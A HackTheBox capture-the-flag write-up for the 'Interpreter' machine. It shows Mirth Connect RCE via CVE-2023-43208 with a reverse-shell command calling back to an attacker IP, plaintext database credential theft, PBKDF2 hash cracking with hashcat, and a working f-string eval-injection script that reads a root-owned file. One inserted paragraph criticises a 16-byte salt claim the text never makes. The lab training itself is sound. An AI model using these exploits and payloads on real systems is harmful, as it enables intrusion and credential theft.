Post

HackTheBox β€” Interpreter Writeup

Unauthenticated RCE via CVE-2023-43208 on Mirth Connect 4.4.0, PBKDF2 hash cracking with manual salt reconstruction, and root flag via Python f-string eval injection in a root-owned notification service.

HackTheBox β€” Interpreter Writeup

Machine Info

FieldValue
NameInterpreter
OSLinux (Debian 12)
DifficultyMedium
IP10.129.25.43
User Flagβœ… via SSH (sedric)
Root Flagβœ… via f-string eval injection (notif.py)

Attack Chain

Attack Flow β€” Interpreter
1
Nmap Scan
Ports 22, 80, 443 open β€” web server, Mirth Connect Administrator
2
Version Disclosure via webstart.jnlp
Mirth Connect 4.4.0 confirmed β€” vulnerable to CVE-2023-43208
3
CVE-2023-43208 β€” Unauthenticated RCE
Mirth Connect failed to properly handle deserialized data, making it susceptible to arbitrary OS command execution through specially crafted HTTP requests β†’ reverse shell as uid=103(mirth)
4
Credential Harvesting β€” mirth.properties
Plaintext DB credentials β†’ MariaDB β†’ PBKDF2 hash for sedric
5
PBKDF2 Hash Reconstruction + Hashcat
Manual salt/hash split β†’ mode 10900 β†’ cracked: snowflake1
6
SSH β†’ User Flag βœ…
sedric : snowflake1 β†’ user.txt
7
Python f-string eval Injection β†’ Root Flag βœ…
notif.py as root β†’ eval(f"f'''{template}'''") β†’ arbitrary file read β†’ root.txt

1. Reconnaissance

Β Β 
ScenarioUnknown Linux target. Three ports open. Some kind of web application is running.
GoalIdentify the application and its exact version. Determine if any public vulnerabilities apply.
ActionsNmap scan β†’ browse port 80 β†’ view page source β†’ fetch webstart.jnlp β†’ read version from XML
OutcomeMirth Connect 4.4.0 confirmed. CVE-2023-43208 identified as the attack path.

I started with a standard Nmap scan to understand what’s exposed:

1
sudo nmap -A -F -T4 -Pn --script=vuln -oN nmapscan.txt 10.129.25.43
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp  open  http     Jetty
| http-enum:
|   /webadmin/       Possible admin folder
|_  /webadmin/index.html: Possible admin folder
443/tcp open  ssl/http Jetty

Device type: general purpose
Running: Linux 5.X
OS details: Linux 5.0 - 5.14

#This is a snippet of the output

The scan returned three open ports: 22 (SSH), 80 (HTTP), and 443 (HTTPS). Both web ports were running a webpage titled as β€œMirth Connect Administrator”, which is an open-source healthcare integration platform by NextGen Healthcare. Port 22 appeared fully patched and wasn’t worth targeting directly.

I navigated to the web interface and was redirected to /webadmin/Index.action, which displayed the Mirth Connect login page. Before attempting any login interaction, I viewed the page source (Ctrl+U). There was a reference to a file called webstart.jnlp : a Java Web Start launcher that downloads the Mirth Connect desktop client.

Page source exposing the webstart.jnlp reference Page source β€” webstart.jnlp visible in the HTML

Fetching that file directly:

1
https://10.129.25.43/webstart.jnlp

The JNLP file’s <application-desc> block included the application version as a plaintext argument:

webstart.jnlp content showing version 4.4.0 webstart.jnlp β€” Mirth Connect 4.4.0 exposed in the argument tag

1
2
3
4
<application-desc main-class="com.mirth.connect.client.ui.Mirth">
    <argument>https://10.129.25.43:443</argument>
    <argument>4.4.0</argument>
</application-desc>

πŸ”΄ Key Finding: Mirth Connect 4.4.0 is vulnerable to CVE-2023-43208, an unauthenticated Remote Code Execution vulnerability. All versions prior to 4.4.1 are affected. No credentials are required.

πŸ‘‰ Mirth Connect: An open-source healthcare data integration engine widely deployed in medical environments to route HL7 and XML patient messages between hospital systems. Its prevalence in healthcare infrastructure makes CVEs against it particularly high-impact. Version 4.4.0 was the last vulnerable release before the 4.4.1 patch.

Tools: Nmap


2. Initial Access β€” CVE-2023-43208

Β Β 
ScenarioMirth Connect 4.4.0 confirmed. A public PoC exists for CVE-2023-43208.
GoalObtain a reverse shell on the target without any authentication.
ActionsClone PoC β†’ set up Netcat listener β†’ run exploit β†’ receive shell β†’ upgrade TTY
OutcomeReverse shell as uid=103(mirth). Stable interactive session established.

CVE-2023-43208 was discovered following an incomplete patch for CVE-2023-37679, initially addressed by IHTeam. Subsequent research by Horizon3.ai revealed a bypass to the deny list implemented in the original patch, leading to the identification of this vulnerability. A public PoC is available at K3ysTr0K3R/CVE-2023-43208-EXPLOIT.

I cloned this repository, then I installed the requirements packages to run it.

GitHub PoC repository for CVE-2023-43208 Public PoC for CVE-2023-43208

I set up a Netcat listener and ran the exploit:

1
python3 CVE-2023-43208.py -u https://10.129.25.43/ -lh <attacker-ip> -lp <port>

The listener received the connection:

Reverse shell received as mirth user Shell established β€” running as uid=103(mirth)

The shell was a basic non-interactive one, so I upgraded it immediately using:

1
2
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm

Interactive TTY established Stable interactive bash session

πŸ‘‰ TTY Upgrade: A raw reverse shell has no job control, breaks su, and kills your session if you accidentally hit Ctrl+C. The Python pty spawn gives you a proper terminal. Always do this before anything else β€” it takes five seconds and prevents disasters.

Tools: CVE-2023-43208 PoC Netcat


3. Post-Exploitation β€” Credential Harvesting

Β Β 
ScenarioShell as the mirth service account. Mirth Connect is installed locally and almost certainly has a configuration file containing database credentials.
GoalLocate the application config, extract database credentials, and retrieve stored password hashes.
ActionsNavigate /usr/local/mirthconnect/conf/ β†’ read mirth.properties β†’ connect to MariaDB β†’ query user tables
OutcomePlaintext database credentials found. PBKDF2 hash for user sedric extracted.

The first priority after getting a shell on an application server is finding configuration files. Mirth Connect installs to /usr/local/mirthconnect/, and its conf/ directory contains the main properties file.

Listing the conf directory inside the Mirth installation conf/ directory containing mirth.properties

Reading mirth.properties revealed the database connection details in cleartext:

mirth.properties showing plaintext database credentials Database credentials stored in plaintext β€” mirthdb / MirthPass123!

1
2
3
4
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

ℹ️ Note: Cleartext credentials in application config files are a common misconfiguration in enterprise middleware deployments, not just in CTFs !!. The mirth service account can read this file by design, which is exactly why we can too.

Using those credentials to connect to the local database:

1
mysql -u mirthdb -p'MirthPass123!' -h localhost mc_bdd_prod

I ran SHOW TABLES first to get a lay of the land. Two tables immediately stood out:

1
SHOW TABLES;

SHOW TABLES output highlighting PERSON and PERSON_PASSWORD PERSON and PERSON_PASSWORD β€” the obvious targets in a database full of channel and config tables

Enumerating users from the PERSON table:

1
SELECT id, username, last_login, email FROM PERSON;

PERSON table showing the sedric user User sedric identified in the database

Retrieving the associated password hash from PERSON_PASSWORD:

1
SELECT * FROM PERSON_PASSWORD;

PERSON_PASSWORD table with the PBKDF2 hash for sedric PBKDF2 hash for sedric retrieved

Extracted value: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=

ℹ️ Important: This Base64 blob is not in a format any cracker accepts out of the box. Mirth Connect (Java-based) uses PBKDF2-HMAC-SHA256 and prepends the 8-byte salt directly onto the 32-byte derived key before Base64-encoding the combined result. Manual reconstruction is required before Hashcat can process it.

Tools: MySQL


4. Hash Analysis & Cracking

Β Β 
ScenarioPBKDF2-HMAC-SHA256 hash in Mirth Connect’s proprietary format β€” salt and hash concatenated inside a single Base64 blob.
GoalReconstruct the hash in Hashcat’s mode 10900 format and recover the plaintext password.
ActionsBase64 decode β†’ hex dump β†’ split at byte offset 8 β†’ re-encode salt and hash separately β†’ assemble Hashcat string β†’ run against rockyou.txt
OutcomePassword cracked: sedric : snowflake1

πŸ‘‰ PBKDF2-HMAC-SHA256: A password-based key derivation function that applies HMAC-SHA256 iteratively to slow down brute-force attacks. Mirth Connect uses 600,000 iterations. The Java implementation stores the 8-byte salt prepended to the 32-byte derived key, then Base64-encodes the combined 40-byte result as a single string. You have to split them before Hashcat can use them.

Decoding the hash blob and examining its raw hex:

1
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256

Output:

1
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb

The structure is [8-byte salt][32-byte derived key]:

1
2
3
4
Full hex (40 bytes):
bbff8b0413949da7  62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
└─── 8 bytes β”€β”€β”€β”˜ └──────────────────────── 32 bytes β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
      SALT                                    DERIVED KEY (hash)

Re-encoding each part separately:

1
2
3
4
5
6
7
# Salt β€” first 8 bytes
echo 'bbff8b0413949da7' | xxd -r -p | base64
# β†’ u/+LBBOUnac=

# Hash β€” remaining 32 bytes
echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64
# β†’ YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Terminal output showing the base64 decode, hex dump, and salt/hash re-encoding commands Hash extraction β€” decoding the blob, splitting at byte 8, and re-encoding each part

πŸ“– Transparency note: The PBKDF2 hash reconstruction in this section was new to me. I initially got stuck due to a format mismatch and referred to another write-up to understand how Mirth Connect stores passwords (salt prepended to the hash and Base64-encoded). After that, I verified the steps myself and documented them. This wasn’t something I would have figured out quickly on my own, so credit to the original source.

The author incorrectly identifies the salt length as 16 bytes. The provided value (bbff8b0413949da7) is only 16 hex characters, which corresponds to 8 bytes, not 16. This indicates a misunderstanding between hexadecimal representation and actual byte size, which is critical when analyzing cryptographic material.

Assembling the Hashcat format for mode 10900 (sha256:iterations:salt_b64:hash_b64):

1
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Running Hashcat:

1
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat cracking the PBKDF2 hash Hashcat completes against rockyou.txt in roughly 5 minutes

βœ… Cracked: sedric : snowflake1


5. User Flag

SSH into the box with the recovered credentials:

1
2
ssh sedric@10.129.25.43
# password: snowflake1

SSH login as sedric and get user flag Authenticated as sedric β€” user flag retrieved


6. Privilege Escalation β†’ Root Flag

6.1 Process Enumeration

Β Β 
ScenarioLow-privilege shell as sedric. Need a path to root.
GoalIdentify a root-owned process or misconfiguration that can be abused.
Actionsps aux | grep root or grep python β†’ spot notif.py running as root β†’ read the source code β†’ identify unsafe eval()
OutcomeRoot-owned Flask service on 127.0.0.1:54321 with an exploitable f-string eval sink.

After grabbing the user flag, I ran ps aux to look for interesting root-owned processes:

1
ps aux | grep root

ps aux output showing notif.py running as root notif.py running as root, a custom Python script, which immediately warrants investigation

1
root  3508  ...  /usr/bin/python3 /usr/local/bin/notif.py

Something attracted me, a custom Python script running as root is worth reading carefully. I examined the source:

1
cat /usr/local/bin/notif.py

Full source of notif.py from the cat command notif.py β€” full source: Flask notification service, input validation, and template function

TheaddPatient route and app.run call in notif.py notif.py β€” the /addPatient route: only localhost requests accepted, XML parsed, notification written to file

6.2 Source Code Analysis

notif.py is a Flask-based notification service that listens on 127.0.0.1:54321. Its /addPatient endpoint accepts XML POST requests, parses patient data fields, and builds a notification message.

The service applies several controls:

1
2
3
4
5
6
# Restrict to localhost only
if request.remote_addr != "127.0.0.1":
    abort(403)

# Input validation via regex allowlist
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

The critical vulnerability is in the template rendering function:

1
return eval(f"f'''{template}'''")

This line does two dangerous things in combination. First, the user-controlled XML fields are assembled into a template string. Second, that string is passed to eval() as a dynamically constructed f-string. Python f-strings evaluate expressions inside {} at runtime β€” not just variable substitutions, but arbitrary Python expressions including function calls. Because the input is then eval()β€˜d rather than simply formatted, the evaluation has full interpreter access with no sandboxing.

The regex allowlist includes { and } , the characters required to trigger f-string expression evaluation. This makes the security control self-defeating: the validation passes input through while preserving the exact characters needed for the attack.

Since the process runs as root, any expression evaluated here runs with root privileges.

πŸ“– Transparency note: For the privilege escalation, I initially asked an LLM to help me understand notif.py and craft a payload that would escalate my sedric shell to root. That approach failed. I then referenced an external write-up, which is where I learned the actual technique used here: rather than escalating to an interactive root shell, the solution is a simple targeted file read, embedding {open('/root/root.txt').read()} in the injection field. The write-up also clarified that the goal is the flag, not the shell, and that eval() with an f-string makes arbitrary Python expressions possible. The exploit script below reflects that understanding.

Exploit script for the f-string injection targeting notif.py Exploit.py β€” f-string payload script, drafted with LLM assistance

6.3 Endpoint Verification

Before sending a payload, I confirmed the endpoint was reachable and processing XML correctly with a white test:

Test script targeting the addPatient endpoint with safe data Initial test β€” confirming the endpoint is active and parsing XML

The server responded with a properly formatted patient notification, which confirmed the XML parsing was working and that user-supplied field values were reaching the template renderer.

white test output White test output

6.4 Exploiting the f-string eval Injection

The injection goes into the lastname field. The firstname field uses 0xNimA my nickname -_- . The lastname carries the Python expression:

Final exploit script with the f-string payload in lastname Exploit β€” f-string expression payload in the lastname XML field

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request

url = 'http://127.0.0.1:54321/addPatient'

payload = b"""<patient>
  <firstname>0xNimA</firstname>
  <lastname>{open('/root/root.txt').read()}</lastname>
  <sender_app>Mirth</sender_app>
  <timestamp>2026-04-09</timestamp>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>"""

req = urllib.request.Request(url, data=payload, headers={'Content-Type': 'application/xml'})
print(urllib.request.urlopen(req).read().decode())

When the server processes the request, it assembles the template string with our lastname value in place, then calls eval(f"f'''{template}'''"). Python encounters {open('/root/root.txt').read()} inside the f-string and evaluates it, and read the file as root. The file contents are embedded into the notification response and returned to us.

Root flag returned in the server response body Root flag returned inside the response β€” file read executed with root privileges

βœ… Root flag obtained via f-string eval injection. The notification service’s own response body carried the contents of /root/root.txt. A full root shell was unnecessary, a targeted file read through the injection achieved the objective.

Tools: Python urllib


Summary

StepTechniqueDetail
ReconJNLP inspectionVersion 4.4.0 leaked via webstart.jnlp in page source
FootholdCVE-2023-43208Unauthenticated RCE via Java deserialization in Mirth Connect API
Credential discoveryConfig file readPlaintext DB credentials in mirth.properties
Hash crackingPBKDF2 reconstructionManual salt/hash split β†’ Hashcat mode 10900 β†’ snowflake1
User flagSSHsedric : snowflake1
Root flagPython f-string eval injectioneval(f"f'''{template}'''") in root-owned notif.py β†’ arbitrary file read

Key Takeaways

Read the page source before anything else. The JNLP launcher file was linked directly in the HTML of the login page and contained the exact application version as a plaintext argument. That single observation bypassed any need for fingerprinting or guesswork and sent the engagement in the right direction immediately.

Application config files are reliable post-exploitation targets. mirth.properties stored database credentials in cleartext, a common misconfiguration in enterprise middleware, not just in CTFs!!!!!. When you have a shell on an application server, the configuration directory should be one of the first places you look.

PBKDF2 format is implementation-specific. Mirth Connect concatenates the 8-byte salt directly onto the 32-byte derived key before encoding the result as a single Base64 string. Feeding that raw value to Hashcat without understanding the structure produces nothing. Knowing the algorithm name is not enough, you need to understand the storage format to reconstruct the hash correctly.

eval() with user input is categorically dangerous. The regex allowlist in notif.py allowed { and } through, which are the exact characters needed to trigger f-string expression evaluation. The deeper lesson is that allowlist validation alone cannot make eval() safe. If the evaluation context is powerful enough, restricting characters provides only the illusion of security. The correct fix is to never pass user-controlled data into eval() or exec() under any circumstances.

A root shell is not always the objective. The goal was the root flag. A targeted file read through the injection accomplished that cleanly, without the additional complexity and noise of escalating to a full interactive root session. In real engagements, doing exactly what is needed β€” nothing more β€” is the correct approach.


References

  • K3ysTr0K3R/CVE-2023-43208-EXPLOIT β€” PoC used in this writeup
  • jakabakos/CVE-2023-43208-mirth-connect-rce-poc β€” alternative PoC with detection script
  • HTB Interpreter Write-up (external) β€” referenced for understanding Mirth Connect’s PBKDF2 salt+hash storage format and the 600,000 iteration count during the hash reconstruction phase
  • LLM assistance β€” used during the privilege escalation phase to try to understand notif.py and craft a payload; the attempt failed, and the actual technique was learned from the external write-up referenced above. LLM also helped me to write this post faster.
This post is licensed under CC BY 4.0 by the author.